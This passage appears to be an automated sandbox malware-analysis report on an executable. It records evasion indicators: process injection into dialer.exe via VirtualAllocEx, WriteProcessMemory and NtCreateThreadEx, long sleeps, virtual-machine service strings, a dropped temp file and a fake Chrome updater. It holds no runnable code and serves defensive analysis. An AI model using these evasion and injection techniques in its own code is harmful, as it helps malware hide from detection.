Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion
barindex
Contains functionality to compare user and computer (likely to detect sandboxes)
Source: C:\Windows\System32\dialer.exe Code function: OpenProcess,OpenProcess,K32GetModuleFileNameExW,PathFindFileNameW,lstrlenW,StrCpyW,CloseHandle,StrCmpIW,NtQueryInformationProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,GetSidSubAuthorityCount,GetSidSubAuthority,LocalFree,CloseHandle,StrStrA,VirtualAllocEx,WriteProcessMemory,NtCreateThreadEx,WaitForSingleObject,GetExitCodeThread,CloseHandle,CloseHandle, 5_2_00007FF67E6C10C0
Source: C:\Windows\System32\dialer.exe Code function: OpenProcess,OpenProcess,K32GetModuleFileNameExW,PathFindFileNameW,lstrlenW,StrCpyW,CloseHandle,StrCmpIW,NtQueryInformationProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,GetSidSubAuthorityCount,GetSidSubAuthority,LocalFree,CloseHandle,StrStrA,VirtualAllocEx,WriteProcessMemory,NtCreateThreadEx,WaitForSingleObject,GetExitCodeThread,CloseHandle,CloseHandle, 26_2_00007FF6101910C0
Contains long sleeps (>= 3 min)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 5488 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 4335 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 6313 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 3337 Jump to behavior
Source: C:\Windows\System32\winlogon.exe Window / User API: threadDelayed 9279 Jump to behavior
Source: C:\Windows\System32\winlogon.exe Window / User API: threadDelayed 718 Jump to behavior
Source: C:\Windows\System32\lsass.exe Window / User API: threadDelayed 9924 Jump to behavior
Source: C:\Windows\System32\dwm.exe Window / User API: threadDelayed 9867 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 2213
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 7323
Source: C:\Windows\System32\dialer.exe Window / User API: threadDelayed 1811
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 6780
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 2820
Found dropped PE file which has not been started or loaded
Source: C:\Users\user\Desktop\h2qWqtD73F.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\piukhnngkvtj.tmp Jump to dropped file
Found evasive API chain (may stop execution after accessing registry keys)
Source: C:\Windows\System32\lsass.exe Evasive API call chain: RegOpenKey,DecisionNodes,Sleep
Source: C:\Windows\System32\dwm.exe Evasive API call chain: RegOpenKey,DecisionNodes,Sleep
Source: C:\Windows\System32\conhost.exe Evasive API call chain: RegOpenKey,DecisionNodes,Sleep
Source: C:\Windows\System32\svchost.exe Evasive API call chain: RegOpenKey,DecisionNodes,Sleep
Source: C:\Windows\System32\winlogon.exe Evasive API call chain: RegOpenKey,DecisionNodes,Sleep
Found evasive API chain checking for process token information
Source: C:\Windows\System32\dialer.exe Check user administrative privileges: GetTokenInformation,DecisionNodes
Found large amount of non-executed APIs
Source: C:\Windows\System32\svchost.exe API coverage: 6.1 %
Source: C:\Windows\System32\svchost.exe API coverage: 5.9 %
Source: C:\Windows\System32\svchost.exe API coverage: 3.7 %
Source: C:\Windows\System32\svchost.exe API coverage: 6.1 %
Source: C:\Windows\System32\svchost.exe API coverage: 3.6 %
Source: C:\Windows\System32\svchost.exe API coverage: 8.4 %
Source: C:\Windows\System32\svchost.exe API coverage: 5.9 %
Source: C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe API coverage: 1.4 %
Source: C:\Windows\System32\svchost.exe API coverage: 6.1 %
Source: C:\Windows\System32\svchost.exe API coverage: 7.2 %
Source: C:\Windows\System32\svchost.exe API coverage: 7.2 %
Source: C:\Windows\System32\conhost.exe API coverage: 6.1 %
Source: C:\Windows\System32\svchost.exe API coverage: 6.1 %
Source: C:\Windows\System32\svchost.exe API coverage: 6.1 %
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7960 Thread sleep count: 5488 > 30 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7960 Thread sleep count: 4335 > 30 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8024 Thread sleep time: -6456360425798339s >= -30000s Jump to behavior
Source: C:\Windows\System32\dialer.exe TID: 8112 Thread sleep count: 79 > 30 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7176 Thread sleep count: 6313 > 30 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6172 Thread sleep count: 3337 > 30 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1184 Thread sleep time: -5534023222112862s >= -30000s Jump to behavior
Source: C:\Windows\System32\winlogon.exe TID: 2248 Thread sleep count: 9279 > 30 Jump to behavior
Source: C:\Windows\System32\winlogon.exe TID: 2248 Thread sleep time: -9279000s >= -30000s Jump to behavior
Source: C:\Windows\System32\winlogon.exe TID: 2248 Thread sleep count: 718 > 30 Jump to behavior
Source: C:\Windows\System32\winlogon.exe TID: 2248 Thread sleep time: -718000s >= -30000s Jump to behavior
Source: C:\Windows\System32\lsass.exe TID: 7412 Thread sleep count: 9924 > 30 Jump to behavior
Source: C:\Windows\System32\lsass.exe TID: 7412 Thread sleep time: -9924000s >= -30000s Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7472 Thread sleep count: 237 > 30 Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7472 Thread sleep time: -237000s >= -30000s Jump to behavior
Source: C:\Windows\System32\dwm.exe TID: 6768 Thread sleep count: 9867 > 30 Jump to behavior
Source: C:\Windows\System32\dwm.exe TID: 6768 Thread sleep time: -9867000s >= -30000s Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 2940 Thread sleep count: 254 > 30 Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 2940 Thread sleep time: -254000s >= -30000s Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6692 Thread sleep count: 253 > 30 Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6692 Thread sleep time: -253000s >= -30000s Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 832 Thread sleep count: 101 > 30 Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 832 Thread sleep time: -101000s >= -30000s Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6468 Thread sleep count: 114 > 30 Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6468 Thread sleep time: -114000s >= -30000s Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 756 Thread sleep count: 197 > 30 Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 756 Thread sleep time: -197000s >= -30000s Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 5180 Thread sleep count: 251 > 30 Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 5180 Thread sleep time: -251000s >= -30000s Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7268 Thread sleep count: 234 > 30 Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7268 Thread sleep time: -234000s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1484 Thread sleep count: 2213 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1484 Thread sleep count: 7323 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6628 Thread sleep time: -4611686018427385s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7752 Thread sleep count: 254 > 30
Source: C:\Windows\System32\svchost.exe TID: 7752 Thread sleep time: -254000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 8032 Thread sleep count: 246 > 30
Source: C:\Windows\System32\svchost.exe TID: 8032 Thread sleep time: -246000s >= -30000s
Source: C:\Windows\System32\dialer.exe TID: 2060 Thread sleep count: 1811 > 30
Source: C:\Windows\System32\dialer.exe TID: 2060 Thread sleep time: -181100s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2552 Thread sleep count: 6780 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8012 Thread sleep count: 2820 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8040 Thread sleep time: -5534023222112862s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 1724 Thread sleep count: 241 > 30
Source: C:\Windows\System32\svchost.exe TID: 1724 Thread sleep time: -241000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7852 Thread sleep count: 252 > 30
Source: C:\Windows\System32\svchost.exe TID: 7852 Thread sleep time: -252000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7836 Thread sleep count: 248 > 30
Source: C:\Windows\System32\svchost.exe TID: 7836 Thread sleep time: -248000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7320 Thread sleep count: 249 > 30
Source: C:\Windows\System32\svchost.exe TID: 7320 Thread sleep time: -249000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 2896 Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 3080 Thread sleep count: 205 > 30
Source: C:\Windows\System32\svchost.exe TID: 3080 Thread sleep time: -205000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7408 Thread sleep count: 210 > 30
Source: C:\Windows\System32\svchost.exe TID: 7408 Thread sleep time: -210000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 332 Thread sleep count: 249 > 30
Source: C:\Windows\System32\svchost.exe TID: 332 Thread sleep time: -249000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 572 Thread sleep count: 250 > 30
Source: C:\Windows\System32\svchost.exe TID: 572 Thread sleep time: -250000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 2052 Thread sleep count: 222 > 30
Source: C:\Windows\System32\svchost.exe TID: 2052 Thread sleep time: -222000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 1212 Thread sleep count: 244 > 30
Source: C:\Windows\System32\svchost.exe TID: 1212 Thread sleep time: -244000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 1392 Thread sleep count: 65 > 30
Source: C:\Windows\System32\svchost.exe TID: 1392 Thread sleep time: -65000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 5664 Thread sleep count: 34 > 30
Source: C:\Windows\System32\svchost.exe TID: 5664 Thread sleep time: -34000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 3412 Thread sleep count: 243 > 30
Source: C:\Windows\System32\svchost.exe TID: 3412 Thread sleep time: -243000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 3568 Thread sleep count: 254 > 30
Source: C:\Windows\System32\svchost.exe TID: 3568 Thread sleep time: -254000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 5508 Thread sleep count: 253 > 30
Source: C:\Windows\System32\svchost.exe TID: 5508 Thread sleep time: -253000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 5652 Thread sleep count: 244 > 30
Source: C:\Windows\System32\svchost.exe TID: 5652 Thread sleep time: -244000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 1280 Thread sleep count: 57 > 30
Source: C:\Windows\System32\svchost.exe TID: 1280 Thread sleep time: -57000s >= -30000s
Source: C:\Windows\System32\spoolsv.exe TID: 1764 Thread sleep count: 53 > 30
Source: C:\Windows\System32\spoolsv.exe TID: 1764 Thread sleep time: -53000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 2328 Thread sleep time: -30000s >= -30000s
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\dialer.exe Last function: Thread delayed
Source: C:\Windows\System32\dialer.exe Last function: Thread delayed
Source: C:\Windows\System32\winlogon.exe Last function: Thread delayed
Source: C:\Windows\System32\winlogon.exe Last function: Thread delayed
Source: C:\Windows\System32\lsass.exe Last function: Thread delayed
Source: C:\Windows\System32\lsass.exe Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe Last function: Thread delayed
Source: C:\Windows\System32\dialer.exe Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe Last function: Thread delayed
Source: C:\Windows\System32\spoolsv.exe Last function: Thread delayed
Source: C:\Windows\System32\spoolsv.exe Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe Last function: Thread delayed
Source: C:\Windows\System32\winlogon.exe Code function: 8_2_000002EA8A69BE3C FindFirstFileExW, 8_2_000002EA8A69BE3C
Source: C:\Windows\System32\lsass.exe Code function: 9_2_000001CB338EBE3C FindFirstFileExW, 9_2_000001CB338EBE3C
Source: C:\Windows\System32\svchost.exe Code function: 10_2_0000026E027CBE3C FindFirstFileExW, 10_2_0000026E027CBE3C
Source: C:\Windows\System32\dwm.exe Code function: 11_2_000001C6CEF1BE3C FindFirstFileExW, 11_2_000001C6CEF1BE3C
Source: C:\Windows\System32\svchost.exe Code function: 12_2_0000025304FBBE3C FindFirstFileExW, 12_2_0000025304FBBE3C
Source: C:\Windows\System32\svchost.exe Code function: 13_2_0000016C2116BE3C FindFirstFileExW, 13_2_0000016C2116BE3C
Source: C:\Windows\System32\svchost.exe Code function: 13_2_0000016C211CBE3C FindFirstFileExW, 13_2_0000016C211CBE3C
Source: C:\Windows\System32\svchost.exe Code function: 14_2_0000026F4814BE3C FindFirstFileExW, 14_2_0000026F4814BE3C
Source: C:\Windows\System32\svchost.exe Code function: 15_2_0000029B9234BE3C FindFirstFileExW, 15_2_0000029B9234BE3C
Source: C:\Windows\System32\svchost.exe Code function: 15_2_0000029B923ABE3C FindFirstFileExW, 15_2_0000029B923ABE3C
Source: C:\Windows\System32\svchost.exe Code function: 16_2_0000020422AABE3C FindFirstFileExW, 16_2_0000020422AABE3C
Source: C:\Windows\System32\svchost.exe Code function: 17_2_00000206287BBE3C FindFirstFileExW, 17_2_00000206287BBE3C
Source: C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe Code function: 20_2_000002847139BE3C FindFirstFileExW, 20_2_000002847139BE3C
Source: C:\Windows\System32\svchost.exe Code function: 21_2_000001829254BE3C FindFirstFileExW, 21_2_000001829254BE3C
Source: C:\Windows\System32\svchost.exe Code function: 24_2_000001BB3DA6BE3C FindFirstFileExW, 24_2_000001BB3DA6BE3C
Source: C:\Windows\System32\svchost.exe Code function: 25_2_0000029ABCF4BE3C FindFirstFileExW, 25_2_0000029ABCF4BE3C
Source: C:\Windows\System32\conhost.exe Code function: 28_2_0000025E81DDBE3C FindFirstFileExW, 28_2_0000025E81DDBE3C
Source: C:\Windows\System32\svchost.exe Code function: 29_2_000001CD9AD8BE3C FindFirstFileExW, 29_2_000001CD9AD8BE3C
Source: C:\Windows\System32\svchost.exe Code function: 31_2_000002AF8C39BE3C FindFirstFileExW, 31_2_000002AF8C39BE3C
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\svchost.exe Thread delayed: delay time: 30000
Source: C:\Windows\System32\svchost.exe Thread delayed: delay time: 30000
Source: lsass.exe, 00000009.00000000.1348006527.000001CB32A89000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: pvmicshutdownNT SERVICE
Source: powershell.exe, 00000006.00000002.1373300100.0000022839608000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Remove-NetEventVmNetworkAdapter
Source: lsass.exe, 00000009.00000000.1348006527.000001CB32A89000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: pvmicvssNT SERVICE
Source: lsass.exe, 00000009.00000000.1348006527.000001CB32A89000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: vmicshutdownLMEM h+
Source: svchost.exe, 00000015.00000003.1452190530.0000018292858000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: orvmciTTBL
Source: svchost.exe, 00000015.00000002.2647250497.0000018291E43000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: (@vmci
Source: powershell.exe, 00000006.00000002.1373300100.0000022839608000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Add-NetEventVmNetworkAdapter
Source: svchost.exe, 00000010.00000000.1407038647.0000020421C2B000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: zSCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000_0r
Source: svchost.exe, 0000000E.00000000.1401818846.0000026F47400000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: HvHostWdiSystemHostScDeviceEnumWiaRpctrkwksAudioEndpointBuilderhidservdot3svcUmRdpServiceDsSvcfhsvcvmickvpexchangevmicshutdownvmicguestinterfacevmicvmsessionsvsvcStorSvcWwanSvcvmicvssDevQueryBrokerNgcSvcsysmainNetmanTabletInputServicePcaSvcDisplayEnhancementServiceIPxlatCfgSvcDeviceAssociationServiceNcbServiceEmbeddedModeSensorServicewlansvcCscServiceWPDBusEnumMixedRealityOpenXRSvc
